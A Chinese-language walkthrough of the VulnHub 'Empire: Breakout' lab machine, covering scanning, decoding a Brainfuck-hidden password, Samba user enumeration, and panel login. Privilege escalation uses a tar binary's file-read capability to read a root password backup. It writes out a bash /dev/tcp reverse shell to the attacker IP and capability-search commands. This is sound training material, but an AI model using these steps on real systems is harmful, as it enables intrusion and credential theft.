一、概要
靶机:192.168.1.101
攻击机:192.168.1.113
靶机下载地址:https://download.vulnhub.com/empire/02-Breakout.zip
二、主机发现
arp-scan扫描一下主机
netdiscover扫描也可以
三、信息收集
nmap扫描一下,开放了5个端口
依次访问一下看看服务
登录一下80端口查看一下
四、解密
页面时apache的默认页面,查看一下源码,在最下面看到了一串密文
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.
别担心没有人会到达这里,与你分享我的访问权限是安全的。其加密:)
ook解密一下
.2uqPEfj3D<P'a-3
根据上面的注释的提示
得到的这串字符串应该是密码
访问一下其他端口看有没有用户名相关信息或者登录框啥的
10000端口是个登录框
20000端口也是个登录框
看上去这两个,前面那个应该是管理员的登录框,后面这个是普通用户的登录框
五、enum4linux获取用户名
尝试获取一下用户名
139和445都是文件共享服务
尝试使用enum4linux枚举信息
如果扫不了的话,可以尝试装一下samba组件
直接sudo apt install samba就可以了
扫出来一个用户名cyber
用扫出来的这些用户名和密码去尝试登录一下前面发现的两个登录框
10000端口的登录失败
20000端口的这个登录成功
左下角有一个终端命令,可以直接获取终端
拿到第一个flag
六、提权
本来想使用sudo -l查看一下可以运行的程序
但是没有sudo 命令
查找suid权限程序提权
find / -perm -u=s -type f 2>/dev/null
在这里检索一下,没有发现可用的程序(GTFOBins)
在用户目录下查看文件可以发现一个二进制的文件tar
查看一下它的capabilities和suid程序
查询当前目录下tar文件的功能
getcap tar
递归查询发现两个文件getcap -r / 2>/dev/null
前面这个文件的功能允许读取任何文件
由此,可以使用tar读取一些敏感文件
find / -name '*pass*' 2>/dev/null
除了常规的passwd文件外,还找到了一个备份文件
可以尝试使用tar命令压缩再解压一下,这样就可以避免这个文件的权限问题了
但是需要注意一定要是使用./tar,否则使用的就是全局tar,全局tar无权限使用,目录下的tar命令是有上面说的读取任意文件的功能的
在当前用户目录下使用tar命令的-cf功能压缩一下目标文件为bak.tar
使用-xf参数解压压缩包
使用cat命令读取当前目录下的var/backups/.old_pass.bak,而不是根目录那个,两个权限是不一样的
/var/backups那个目录下的文件是没有权限读取的
当前目录下解压出来的这个var/backups目录下的才有权限
当前的这个控制台认证时间太短
反弹一下shell
七、反弹shell
先在攻击机上监听端口
nc -lvp 4444
再在靶机上反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.1.113/4444 0>&1'
使用python切换一下终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
su root切换一下root权限,获得flag